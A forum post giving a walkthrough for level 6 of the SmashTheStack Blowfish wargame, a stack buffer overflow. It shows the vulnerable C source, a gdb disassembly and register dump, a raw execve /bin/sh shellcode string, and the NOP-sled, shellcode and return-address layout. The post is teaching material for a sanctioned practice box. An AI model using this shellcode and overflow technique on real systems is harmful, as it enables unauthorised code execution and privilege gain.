Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Top Posters

Who's Online (2)

Powered by Vanilla. Made with Bootstrap.
[STS]Level 6 - Blowfish
  • chroniccommand
    Posts: 1,389
    So this will be my last STS blowfish tutorial(For now), as I have yet to complete level 7. Let's get started

    Logging in
    This should be a regular routine to you. SSH to the next levels address, and you should get this banner:



    ssh level6@blowfish.smashthestack.org -p 2222
    password:

    1. Thou shalt NOT root or otherwise harm the box.
    2. Thou shalt NOT access any other network from this box.
    3. Thou shalt NOT use any other directory besides /tmp or /code for code.
    4. Thou shalt give the root pass to l3thal if you manage to change it.

    Passwords are in /pass.
    There is a README in each users home directory.
    /tmp && /var/tmp will be flushed daily by cron.
    Use /code plz for umm, code ;D
    IF YOU LEAVE FILES IN /levels/tmp U SUCK ..plz remove them kthnx! ;D
    The password for the last level will get you into
    Tux, the more advanced wargame. Join #blowfish on
    irc.smashthestack.org with any questions.

    Admins - l3thal && cr

    Forum: http://smashthestack.org/viewforum.php?id=10

    Last login: Thu Jan 28 23:15:03 2010 from host86-180-22-174.range86-180.btcentralplus.com
    This level is another stack overflow in /levels/level6
    Exploit it and move to the next level.


    So as you see, another stack overflow located in the /levels directory. Let's exploit that bitch.

    Exploiting
    So you should be pretty decent at Overflows by now. If you thought the last two levels were hard, take a look at this code:
    #include <stdio.h>
    #include <string.h>

    int badfunc(char *string1, char *string2) {

    char buffer1[1024];
    char buffer2[1024];

    if(strlen(string1)>=sizeof(buffer1)) {
    printf(\"\n\t(!) overflow detected.\n\");
    printf(\"\t(-) exiting...\n\n\");
    return -1;
    }
    else {
    printf(\"\n\t(+) copying string1 into the buffer...\");
    snprintf(buffer1,sizeof(buffer1),\"%s\",string1);
    printf(\"\t\t[done] (%d)\n\", strlen(buffer1));
    }

    if(strlen(string2)>=sizeof(buffer2)*3) {
    printf(\"\n\t(!) overflow detected.\n\");
    printf(\"\t(-) exiting...\n\n\");
    return -1;
    }
    else {
    printf(\"\t(+) copying string2 into the buffer...\");
    snprintf(buffer2,sizeof(buffer1)*3,\"%s\",string2);
    printf(\"\t\t[done] (%d)\n\n\", strlen(buffer2));
    }

    return 0;
    }

    int main(int argc, char *argv[]) {

    if(argc != 3)
    return -1;

    badfunc(argv[2], argv[1]);

    return 0;
    }

    Yes I know, may look a bit intimidating. If you look through the source, you should know where the overflow will occur. when it checks and copies the string2 it checks that it's length is less or equal the buffer2's size multiplied by three. This is going to let us overflow it.

    Determining the address
    Now we open it up with GDB and find the address to overflow. We're going to find the address of that second "snprintf" function. Take a look at the GDB output.


    level6@blowfish:~$ gdb ./level6
    GNU gdb 6.8-debian
    Copyright (C) 2008 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html&gt;
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law. Type "show copying"
    and "show warranty" for details.
    This GDB was configured as "i486-linux-gnu"...
    (gdb) disass badfunc
    Dump of assembler code for function badfunc:
    0x080483f4 <badfunc+0>: push ebp
    0x080483f5 <badfunc+1>: mov ebp,esp
    0x080483f7 <badfunc+3>: sub esp,0x828
    0x080483fd <badfunc+9>: mov eax,DWORD PTR [ebp+0x8]
    0x08048400 <badfunc+12>: mov DWORD PTR [esp],eax
    0x08048403 <badfunc+15>: call 0x80482e8 <strlen@plt>
    0x08048408 <badfunc+20>: cmp eax,0x3ff
    0x0804840d <badfunc+25>: jbe 0x8048436 <badfunc+66>
    0x0804840f <badfunc+27>: mov DWORD PTR [esp],0x80486a0
    0x08048416 <badfunc+34>: call 0x8048308 <printf@plt>
    0x0804841b <badfunc+39>: mov DWORD PTR [esp],0x80486ba
    0x08048422 <badfunc+46>: call 0x8048308 <printf@plt>
    0x08048427 <badfunc+51>: mov DWORD PTR [ebp-0x80c],0xffffffff
    0x08048431 <badfunc+61>: jmp 0x8048514 <badfunc+288>
    0x08048436 <badfunc+66>: mov DWORD PTR [esp],0x80486e0
    0x0804843d <badfunc+73>: call 0x8048308 <printf@plt>
    0x08048442 <badfunc+78>: mov eax,DWORD PTR [ebp+0x8]
    0x08048445 <badfunc+81>: mov DWORD PTR [esp+0xc],eax
    0x08048449 <badfunc+85>: mov DWORD PTR [esp+0x8],0x8048709
    0x08048451 <badfunc+93>: mov DWORD PTR [esp+0x4],0x400
    0x08048459 <badfunc+101>: lea eax,[ebp-0x408]
    0x0804845f <badfunc+107>: mov DWORD PTR [esp],eax
    0x08048462 <badfunc+110>: call 0x8048318 <snprintf@plt>
    0x08048467 <badfunc+115>: lea eax,[ebp-0x408]
    0x0804846d <badfunc+121>: mov DWORD PTR [esp],eax
    0x08048470 <badfunc+124>: call 0x80482e8 <strlen@plt>
    0x08048475 <badfunc+129>: mov DWORD PTR [esp+0x4],eax
    0x08048479 <badfunc+133>: mov DWORD PTR [esp],0x804870c
    0x08048480 <badfunc+140>: call 0x8048308 <printf@plt>
    0x08048485 <badfunc+145>: mov eax,DWORD PTR [ebp+0xc]
    0x08048488 <badfunc+148>: mov DWORD PTR [esp],eax
    0x0804848b <badfunc+151>: call 0x80482e8 <strlen@plt>
    0x08048490 <badfunc+156>: cmp eax,0xbff
    0x08048495 <badfunc+161>: jbe 0x80484bb <badfunc+199>
    0x08048497 <badfunc+163>: mov DWORD PTR [esp],0x80486a0
    0x0804849e <badfunc+170>: call 0x8048308 <printf@plt>
    0x080484a3 <badfunc+175>: mov DWORD PTR [esp],0x80486ba
    0x080484aa <badfunc+182>: call 0x8048308 <printf@plt>
    0x080484af <badfunc+187>: mov DWORD PTR [ebp-0x80c],0xffffffff
    0x080484b9 <badfunc+197>: jmp 0x8048514 <badfunc+288>
    0x080484bb <badfunc+199>: mov DWORD PTR [esp],0x8048720
    0x080484c2 <badfunc+206>: call 0x8048308 <printf@plt>
    0x080484c7 <badfunc+211>: mov eax,DWORD PTR [ebp+0xc]
    0x080484ca <badfunc+214>: mov DWORD PTR [esp+0xc],eax
    0x080484ce <badfunc+218>: mov DWORD PTR [esp+0x8],0x8048709
    0x080484d6 <badfunc+226>: mov DWORD PTR [esp+0x4],0xc00
    0x080484de <badfunc+234>: lea eax,[ebp-0x808]
    0x080484e4 <badfunc+240>: mov DWORD PTR [esp],eax
    0x080484e7 <badfunc+243>: call 0x8048318 <snprintf@plt>
    0x080484ec <badfunc+248>: lea eax,[ebp-0x808]
    0x080484f2 <badfunc+254>: mov DWORD PTR [esp],eax
    0x080484f5 <badfunc+257>: call 0x80482e8 <strlen@plt>


    So here we disassemble the "badfunc" function in the vulnerable C code. That should be the output of it. Now we set the breakpoint at that snprintf function.

    (gdb) break *0x080484e7
    Breakpoint 1 at 0x80484e7


    Now we have the breakpoint set up. So now lets run the program with two arguments that can be anything. I'll use a and b.

    (gdb) r a b
    Starting program: /levels/level6 a b

    (+) copying string1 into the buffer... [done] (1)

    Breakpoint 1, 0x080484e7 in badfunc ()


    So we use the "r" command in gdb to run the program of "/levels/level6 a b" and we get that output.
    Now lets take apart the "info registers".


    (gdb) i r
    eax 0xbfffd070 -1073754000
    ecx 0x0 0
    edx 0xed70f0 15560944
    ebx 0xed5ff4 15556596
    esp 0xbfffd050 0xbfffd050
    ebp 0xbfffd878 0xbfffd878
    esi 0x8048570 134514032
    edi 0x8048330 134513456
    eip 0x80484e7 0x80484e7 <badfunc+243>
    eflags 0x296 [ PF AF SF IF ]
    cs 0x73 115
    ss 0x7b 123
    ds 0x7b 123
    es 0x7b 123
    fs 0x0 0
    gs 0x33 51


    So we have the address where we will have to point the return address of the function: 0xbfffd070

    So we have to write 2060 bytes of shell-code and after that the return address 0xbfffd070 or somewhere near.

    Let's just use the shellcode we used for the last level.
    \xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh

    So, we have to put 2022(2062 - 38) bytes of \x90 for padding, then the shellcode and after that the return address, or somewhere in the middle
    of those NOPs(\x90) just in case it varies in the real environment.

    So now figure out how to exploit it, and read from "/pass/level7" and you should have the password for level 7!

    This is the last STS blowfish tutorial for now. But expect more for as soon as I beat level 7 I'll make a guide :D

    --Chroniccommand
  • Xin
    Posts: 3,251
    Good Job again chronic, very useful! What level you on so far/
    Xin